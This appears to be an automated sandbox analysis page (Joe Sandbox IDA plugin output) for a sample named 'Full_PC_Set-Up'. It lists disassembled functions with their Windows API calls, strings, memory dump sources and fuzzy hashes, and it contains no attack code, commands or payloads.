Opcode ID: 936e44cf056b456c107ffbd4135e8c9575b56bd77c46cc8d49cc58b009c46fda
Instruction ID: 0925f7737435642df11da47681cd98535ea089b4637ac8c8faa70f6ee546e130
Opcode Fuzzy Hash: 936e44cf056b456c107ffbd4135e8c9575b56bd77c46cc8d49cc58b009c46fda
Instruction Fuzzy Hash: 45419E31610206EFDB24EF68D885FA9B7A4FF44325F04822EF954C7651CB34E9A4CB95

Function 003B74F0 Relevance: 10.6, APIs: 7, Instructions: 114COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 003B7583
_memset.LIBCMT ref: 003B7598
SetRect.USER32(00000044,00000000,00000000,00000000,00000000), ref: 003B75D4
_memset.LIBCMT ref: 003B75F1
SystemParametersInfoW.USER32 ref: 003B760E
CreateFontIndirectW.GDI32(?), ref: 003B7640
CreateFontIndirectW.GDI32(?), ref: 003B765D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateFontIndirectSystem_memset$InfoMetricsParametersRect
String ID:
API String ID: 1317751695-0
Opcode ID: b088949b2125949cc8b653f78a7b0ebf17d47813cfd1c0864a889d0423863091
Instruction ID: 2f03c3d0fcb0ca09d1b50480fb043afa3575a9ff8d928ed93ff1935cb27e9a22
Opcode Fuzzy Hash: b088949b2125949cc8b653f78a7b0ebf17d47813cfd1c0864a889d0423863091
Instruction Fuzzy Hash: 734190B1504740DFD361DF79D885BABBBE8FF48314F404A2EE09A87681DBB5A408CB55

Function 002E4BD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 002E4C46

Part of subcall function 003879F3: RaiseException.KERNEL32(?,?,?,?), ref: 00387A35

std::exception::exception.LIBCMT ref: 002E4C92
__CxxThrowException@8.LIBCMT ref: 002E4CA9

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

Strings

vector<T> too long, xrefs: 002E4BFB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise_mallocstd::exception::exception
String ID: vector<T> too long
API String ID: 465789080-3788999226
Opcode ID: c1dba2bdc6c03d274b95c384f6caa1f9f61bc986b4f3e9e23b7739412a33a1f0
Instruction ID: 19afcd65d0b385aae94cc6f878a0c34141bcc27b72de17b61e5553efc1078e4d
Opcode Fuzzy Hash: c1dba2bdc6c03d274b95c384f6caa1f9f61bc986b4f3e9e23b7739412a33a1f0
Instruction Fuzzy Hash: EA313FB1118300ABD308EF60D855B6F77D5BB80B14F548F2EF46A822C0EBB8D61C8A57

Function 002D2AF0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?,?,?,00000000), ref: 002D2B01
_memset.LIBCMT ref: 002D2B23
GetFileVersionInfoW.VERSION(?,00000001,00000000,?,?,?,?,00000000), ref: 002D2B35

Strings

FileDescription, xrefs: 002D2BCC
ProductName, xrefs: 002D2BDC
CompanyName, xrefs: 002D2BB3

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FileInfoVersion$Size_memset
String ID: CompanyName$FileDescription$ProductName
API String ID: 2524525964-1224206804
Opcode ID: 5cc4cad8d1eff9a966a8ecf08782d7724e62e937d2469e57148e683784f8cf37
Instruction ID: c1de380fb6641ed70962b76f7ea32408817d80102df8e5b6681f9a6cb140cb65
Opcode Fuzzy Hash: 5cc4cad8d1eff9a966a8ecf08782d7724e62e937d2469e57148e683784f8cf37
Instruction Fuzzy Hash: D93141356147459BD360DF69C841A9BB7E9FF98314F404A1EF88EC3711E630EA098BA5

Function 003176B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 003176F7

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

swprintf.LIBCMT ref: 0031774C

Strings

%d-%d, xrefs: 00317741
%d-%d, xrefs: 003176EC
%d-%d, xrefs: 00317798

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: swprintf$__vswprintf_s_l
String ID: %d-%d$%d-%d$%d-%d
API String ID: 3313496985-924067097
Opcode ID: 01be301dd52434f412ac9398e1891ddea5c0a3533a66451abc861478774be349
Instruction ID: a5343b6ffa508bd8429cd19df8b77ace59d022998d0a9218378778a133075bf1
Opcode Fuzzy Hash: 01be301dd52434f412ac9398e1891ddea5c0a3533a66451abc861478774be349
Instruction Fuzzy Hash: C72162B5504105BBCB09DB99CCA1EBF3379DF89700F148049F61A8F2C1EA35DA5097A1

Function 0030D1E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75fileCOMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0030D1F6

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000001,00000080,00000000,?,?), ref: 0030D211
GetLastError.KERNEL32 ref: 0030D21C

Part of subcall function 0030D2B0: swprintf.LIBCMT ref: 0030D2DC
Part of subcall function 0030D2B0: _memset.LIBCMT ref: 0030D2F9
Part of subcall function 0030D2B0: _memset.LIBCMT ref: 0030D310
Part of subcall function 0030D2B0: _wcsrchr.LIBCMT ref: 0030D318

CloseHandle.KERNEL32(00000000), ref: 0030D293

Strings

Error code:%d, xrefs: 0030D278
%s\%s, xrefs: 0030D1E9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memsetswprintf$CloseCreateErrorFileHandleLast__vswprintf_s_l_wcsrchr
String ID: %s\%s$Error code:%d
API String ID: 1809809518-4049348348
Opcode ID: 3e541267a0a8b815af1e547e89bc3fe60a36f26b1a9ed3e5c48a609eb1302e20
Instruction ID: 5806e480953a9b161828b7e4728a489a172db1350796ab7d1023adce5e5d66bd
Opcode Fuzzy Hash: 3e541267a0a8b815af1e547e89bc3fe60a36f26b1a9ed3e5c48a609eb1302e20
Instruction Fuzzy Hash: 39112333B0230026DA226AB99C69F6F72DE5BC1B60F174939F6158B2C0DE70EC484169

Function 002D2280 Relevance: 10.6, APIs: 7, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 002D228D
ScreenToClient.USER32(?,?), ref: 002D22AD
GetWindowRect.USER32(?,?), ref: 002D22BF

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

PtInRect.USER32(?,?,?), ref: 002D22EF
SetCursor.USER32(?), ref: 002D230A
PtInRect.USER32(?,?,?), ref: 002D2336
SetCursor.USER32(?), ref: 002D234D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientRectScreen$Cursor$MessageWindow
String ID:
API String ID: 2869542173-0
Opcode ID: f0fbaa2cd58313bcf7cba9b2b1715b674d7edbbb3e549f1957376fd98298785f
Instruction ID: d081f2033b484c152e6ed8cbfba8c3e02176ef6146e75bf9f6ce234ce6dc6675
Opcode Fuzzy Hash: f0fbaa2cd58313bcf7cba9b2b1715b674d7edbbb3e549f1957376fd98298785f
Instruction Fuzzy Hash: E02158715187029BD354DF34D844AABB7E8EB94351F04891FF89D83250DB38E855CBA6

Function 0036D554 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,software,00000000,0002001F,?,00000000,00000000,?), ref: 0036D584
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 0036D5A7
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,5EBD7D5F,?), ref: 0036D5C3
RegCloseKey.ADVAPI32(?), ref: 0036D5D3
RegCloseKey.ADVAPI32(?), ref: 0036D5DD

Strings

software, xrefs: 0036D56C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: fb8fa64d8bda0f19c1736da04ed7a966b418ecb23bea11e5d275cbca8e993be7
Instruction ID: 89800f01ecf064ec3e4bc481d5016cda43bff133588aa4c7ec12650afeb74b33
Opcode Fuzzy Hash: fb8fa64d8bda0f19c1736da04ed7a966b418ecb23bea11e5d275cbca8e993be7
Instruction Fuzzy Hash: A611EC72D00158BBCB21DF9ACC48DEFBFBCEF86714B11406AB605A2115D7719E14DB60

Function 002D50E0 Relevance: 10.6, APIs: 7, Instructions: 62windowtimeCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 002D50EC
ScreenToClient.USER32(?,?), ref: 002D510C
GetClientRect.USER32(?,?), ref: 002D511B
PtInRect.USER32(?,?,?), ref: 002D5130
KillTimer.USER32(?,?), ref: 002D5148
SendMessageW.USER32(?,00000030,?,00000001), ref: 002D516A
InvalidateRect.USER32(?,?,00000001), ref: 002D5180

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$ClientMessage$InvalidateKillScreenSendTimer
String ID:
API String ID: 1802943069-0
Opcode ID: 1b88975c37bff1d01030cb5cb8857bfa68dc0688d570472765bf8da8852027a1
Instruction ID: 9601c595d79b08c103094cc4bf2d9004bc1868b27de878132b670b7958700663
Opcode Fuzzy Hash: 1b88975c37bff1d01030cb5cb8857bfa68dc0688d570472765bf8da8852027a1
Instruction Fuzzy Hash: 21115C75615701AFC314DF64D888D6BB7F8FB88711F048A1EF9CA83250EA70E954CBA6

Function 0031F190 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0031F1A4
_memcmp.LIBCMT ref: 0031F1BB
_memcmp.LIBCMT ref: 0031F1DB

Strings

XPDS, xrefs: 0031F1B6
V1.0, xrefs: 0031F1CF
SDPX, xrefs: 0031F19F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: SDPX$V1.0$XPDS
API String ID: 2931989736-2897317246
Opcode ID: 1cf0e0bdf9547fb0586a6be3928911f60d0f71824f716f45571411816f6fd5f2
Instruction ID: ba52f79fd25218d433f69a58de0668f2881594bfd2c5d556be45851f374c3669
Opcode Fuzzy Hash: 1cf0e0bdf9547fb0586a6be3928911f60d0f71824f716f45571411816f6fd5f2
Instruction Fuzzy Hash: D9012178B44304FFDB08EAA4EC52FAA7369AB44344F604565BC059B381EBB1EE518794

Function 00382FE5 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 23threadCOMMON

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 00382FF4

Part of subcall function 003915F0: __FindPESection.LIBCMT ref: 0039164B

__getptd_noexit.LIBCMT ref: 00383004
CloseHandle.KERNEL32(?,?,00317DDD), ref: 00383018
__freeptd.LIBCMT ref: 0038301F
ExitThread.KERNEL32 ref: 00383027

Strings

k^7, xrefs: 00382FE5, 00382FEF, 00382FFE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
String ID: k^7
API String ID: 3798957060-658909190
Opcode ID: b08fbd8abfcca11f60c869470865696379a08833aa669c6c1cf718a8a12032af
Instruction ID: 09c2531bf5bd37cf29ab002bb0d4a44e584605aacb987e79bfdade582a9315c9
Opcode Fuzzy Hash: b08fbd8abfcca11f60c869470865696379a08833aa669c6c1cf718a8a12032af
Instruction Fuzzy Hash: 3BE08671101F1257C72337749C1D71EB6586F0AB21F160291F8129D2E1DF609F04CB59

Function 003A5270 Relevance: 9.4, APIs: 6, Instructions: 401COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 003A52DD
DefWindowProcW.USER32(?,0000000E,00000000,00000000,?,00000000,?,?,80070057,7FFFFFFF,?,80070057,?,?,?,?), ref: 003A5395
DefWindowProcW.USER32(?,0000000D,00000001,-00000010,?,?,003FF8E6,?,00000001), ref: 003A53C3
_wcsnlen.LIBCMT ref: 003A53D0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ProcWindow$_memmove_s_wcsnlen
String ID:
API String ID: 2843921113-0
Opcode ID: 9a7ce56b760c7a94d53740052dbb6beac5c0e318a6a240de3ff99cdaa7499ac6
Instruction ID: 8eed67f0808780451c047c3021d13cd72bdffb695d673cf9f3a641e156f8aa31
Opcode Fuzzy Hash: 9a7ce56b760c7a94d53740052dbb6beac5c0e318a6a240de3ff99cdaa7499ac6
Instruction Fuzzy Hash: D0C1FE326007059FCB21EF69D884A2BF3E9EFC9314F15492DE9858B211EB70ED45CB90

Function 002C52E0 Relevance: 9.4, APIs: 6, Instructions: 358COMMON

Download Yara Rule

APIs

Part of subcall function 003B4C80: SendMessageW.USER32(?,000000F1,?,00000000), ref: 003B4CA0

Part of subcall function 002EAA60: CopyRect.USER32(?,?), ref: 002EAB17
Part of subcall function 002EAA60: InvalidateRect.USER32(?,00000000,00000001), ref: 002EAB96

GetClientRect.USER32(?,?), ref: 002C549B
ShowScrollBar.USER32(?,00000001,00000000,00000001,?,00000001), ref: 002C54F8
InvalidateRect.USER32 ref: 002C5525
GetClientRect.USER32(?,?), ref: 002C55A4
ShowScrollBar.USER32(?,00000001,00000000,00000001,?,00000001), ref: 002C5604
InvalidateRect.USER32 ref: 002C5633

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
